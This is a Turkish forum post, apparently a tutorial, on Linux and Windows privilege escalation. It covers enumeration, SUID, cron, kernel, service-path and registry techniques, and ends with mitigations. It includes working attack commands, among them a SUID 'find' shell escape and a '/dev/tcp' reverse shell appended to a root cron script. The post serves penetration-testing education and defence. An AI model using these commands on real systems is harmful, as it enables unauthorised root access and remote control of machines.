- Katılım
- 21 Ocak 2024
- Mesajlar
- 164
- Tepkime puanı
- 36
- Puanları
- 28
Privilenge escalation etik hackerlar ve sızma test uzmanları için önemli bir beceridir. Hedef sisteme ilk erişim sağlandıktan sonra saldırganlar sıklıkla daha fazla kontrol elde etmek, hassas bilgilere erişmek veya daha üst düzey komutlar çalıştırmak için yetkilerini artırmaya çalışırlar. Güvenlik uzmanları için bu teknikleri anlamak yalnızca saldırı yeteneklerini geliştirmekle kalmaz, aynı zamanda bu tür saldırılara karşı savunmayı güçlendirmeye de yardımcı olur.
Yetki Yükseltmeye Başlarken
Yetki yükseltme, bir sistemde sahip olduğunuz erişim düzeyini artırmayı içerir. Bu genellikle güvenlik açıklarından veya yanlış yapılandırmalardan yararlanmayı gerektirir. Süreç genellikle, potansiyel güvenlik açıklarını belirlemek için sistem hakkında mümkün olduğunca fazla bilgi topladığınız enumeration ile başlar.Temel Enumeration Adımları
- Sistem ve İşletim Sistemi Ayrıntılarını Belirleyin: Hedefin Windows mu yoksa Linux mu olduğunu, sürümünü ve yüklü yazılım sürümlerini bilmek çok önemlidir.
- İzinleri Analiz Edin: Mevcut kullanıcı ayrıcalıklarınızı ve mevcut izinleri anlayın.
- Savunmasız Hizmetleri ve Yapılandırmaları Arayın: Eski yazılımları, zayıf yapılandırmaları veya daha yüksek ayrıcalıklarla çalışan komut dosyalarını/hizmetleri kontrol edin.
- Dosyaları ve Süreçleri İnceleyin: Bazı dosyalar veya işlemler hassas bilgilere sahip olabilir veya yüksek ayrıcalıklarla çalışabilir.
Linux'ta Privilege Escalation
Linux yetki yükseltme genellikle şunlara dayanır,- zayıf konfigürasyonlar,
- SUID dosyaları,
- yanlış yapılandırılmış hizmetler veya
- kernel güvenlik açıkları.
1. SUID Dosyalarından Yararlanma
Set User ID (SUID), kullanıcıların dosyaları dosya sahibinin (genellikle root) izinleriyle çalıştırmasına olanak tanıyan bir izin ayarıdır. Saldırganlar, ayrıcalıkları artırmak için uygunsuz şekilde ayarlanmış SUID dosyalarından yararlanabilir.- SUID Dosyalarını Bulma:
find / -perm -u=s -type f 2>/dev/null
- find, vim veya nano gibi potansiyel olarak yetki artışına yol açabilecek SUID ikili dosyalarını arayın.
- Örnek Exploit ( find komutu ile):
bul . -exec /bin/sh -p \; -quit
- Eğer find SUID izinleri ile yapılandırılmışsa, bu komut potansiyel olarak yükseltilmiş ayrıcalıklara sahip bir kabuk sağlayabilir.
2. Cron Görevlerini ve Yazılabilir Komut Dosyalarını Kötüye Kullanma
Cron görevleri, belirli aralıklarla çalışan zamanlanmış görevlerdir. Bazen bu işler yükseltilmiş yetkilerle çalışır ancak normal kullanıcılar tarafından değiştirilebilen komut dosyalarını çağırır.- Cron İşlerini Bulma:
cat /etc/crontab ls -la /etc/cron.*
- root veya başka bir yetkili kullanıcı tarafından çalıştırılan yazılabilir izinlere (chmod 777) sahip komut dosyalarını arayın.
- Exploit: Bir root shell oluşturmak için yazılabilir betiğe ( /tmp/root_script.sh gibi) bir komut ekleyin:
echo “/bin/bash -i >& /dev/tcp/your_ip/your_port 0>&1” >> /tmp/root_script.sh
- Makinenizde bir listener kurun ve cron işi çalıştığında bir root shell alacaksınız.
3. Kernel Exploitleri
Güncel olmayan kerneller, root ayrıcalıkları elde etmek için kullanılabilecek bilinen güvenlik açıklarına sahip olabilir.- Kernel Sürümünü Tanımlama:
uname -r
- Güvenlik Açıklarını Arayın: Kernel sürümüyle eşleşen genel kernel açıkları için Exploit-DB gibi açık veritabanlarını kontrol edin. searchsploit gibi araçlar yardımcı olabilir:
searchsploit linux kernel 4.x.x
- Bir eşleşme varsa, istismarı indirin ve önce bir test ortamında dikkatli bir şekilde çalıştırın.
Windows'ta Pratik Ayrıcalık Yükseltme
Windows'ta yetki artırımı, hizmet yanlış yapılandırmalarından, kayıt defteri anahtarlarından ve savunmasız uygulamalardan yararlanmayı içerebilir.1. Alıntı Yapılmamış Hizmet Yolları
Tırnak içine alınmamış hizmet yolları Windows'ta yaygın bir güvenlik açığıdır. Bir hizmet yolu tırnak içine alınmamışsa ve boşluklar içeriyorsa, bir saldırgan yola yüksek yetkilerle çalıştırılmak üzere kötü amaçlı bir çalıştırılabilir dosya ekleyebilir.- Tırnaksız Yollar ile Hizmetleri Tanımlama:
wmic service get name, displayname, pathname, startmode | findstr /i “Auto” | findstr /i /v “C:\Windows\” | findstr /i /v “”"
- Exploit: Boşluklar içeren tırnaksız bir hizmet yolu bulursanız, yol segmentlerinden biriyle aynı ada sahip kötü amaçlı bir çalıştırılabilir dosya oluşturun. Hizmet yeniden başlatıldığında, kötü amaçlı çalıştırılabilir dosyanız yükseltilmiş ayrıcalıklarla çalışacaktır.
2. Zayıf Hizmet İzinleri
Bir hizmetin izinleri zayıfsa, normal kullanıcılar kötü niyetli programları çalıştırmak için yeniden yapılandırma yeteneğine sahip olabilir.- Hizmet İzinlerini Listeleyin: Yönetici olmayan kullanıcılar için hangi hizmetlerin yazma erişimine izin verdiğini görmek için Sysinternals'ın accesschk gibi araçlarını kullanın:
accesschk.exe -uwcqv “Authenticated Users” *
- Exploit: Yazılabilir bir hizmetin ikili yolunu bir ters kabuk veya kötü amaçlı çalıştırılabilir dosyaya işaret edecek şekilde değiştirin. Hizmeti yeniden başlatın ve kodunuzu hizmetin ayrıcalıklarıyla çalıştıracaktır.
3. Güvensiz Kayıt Defteri İzinleri
Güvensiz kayıt defteri anahtarları, saldırganlar tarafından yüksek yetkilerle kod çalıştırmak için değiştirilebilir. Yaygın konumlar, hizmet başlatmayı veya yürütmeyi kontrol eden anahtarları içerir.- Kayıt Defteri İzinlerini Kontrol Edin:
reg query HKLM\Software\Microsoft\Windows\CurrentVersion\Run
- Bir kullanıcı bu kayıt defteri anahtarına yazma erişimine sahipse, başlangıçta kötü amaçlı bir yük çalıştırmak için bir giriş ekleyebilir.
- Exploit: Reverse shell komutu ile yeni bir anahtar ekleyin. Bir sonraki başlangıçta, payload yüksek yetkilerle çalışacaktır.
Privilege Escalation Araçları
Yetki yükseltme fırsatlarının keşfedilmesini ve kullanılmasını otomatikleştirebilen çeşitli araçlar vardır.- LinPEAS (Linux Privilege Escalation Awesome Script): Bir Linux makinesini potansiyel yetki artırma yolları için tarar.
- WinPEAS: Windows için benzer bir araç, olası yetki yükseltme vektörlerinin numaralandırılmasını otomatikleştirir.
- PowerUp: Windows'ta yetki yükseltme güvenlik açıklarını bulmak için bir PowerShell kodu.
- GTFOBins: Ayrıcalık yükseltmek için kullanılabilecek Unix binary'lerinden oluşan bir depo.
- LOLBAS (Living Off the Land Binaries and Scripts): Windows için benzer bir depo, yetki artırımı için kötüye kullanılabilecek binary'leri listeler.
Privilege Escalation Güvenlik Açıklarını Azaltma
Yetki artışına karşı korunmak için bu en iyi uygulamaları göz önünde bulundurun:- Yetkileri En Aza İndirin: Kullanıcı erişimini yalnızca gerekli olanlarla sınırlamak için en az yetki ilkesini izleyin.
- Düzenli Olarak Yama Yapın: Bilinen güvenlik açıklarından kaçınmak için sistemleri, özellikle de kernel ve hizmetleri güncel tutun.
- SUID/SGID Binary'lerini Güvenli Hale Getirin: SUID binary'lerinin kullanımını sınırlandırın ve değişiklikleri izleyin.
- Cron İşlerini İzleyin: Cron işlerinin yazılabilir komut dosyalarını veya çalıştırılabilir dosyaları yükseltilmiş yetkilerle çalıştırmadığından emin olun.
- Hizmetleri ve Kayıt Defterini Denetleyin: Yetkisiz değişiklikleri önlemek için Windows hizmetleri ve kayıt defteri anahtarlarındaki izinleri düzenli olarak kontrol edin.
- Antivirüs ve Endpoint Detection kullanın: Yetki yükseltme girişimlerini gerçek zamanlı olarak tespit etmek için güvenlik araçlarından yararlanın.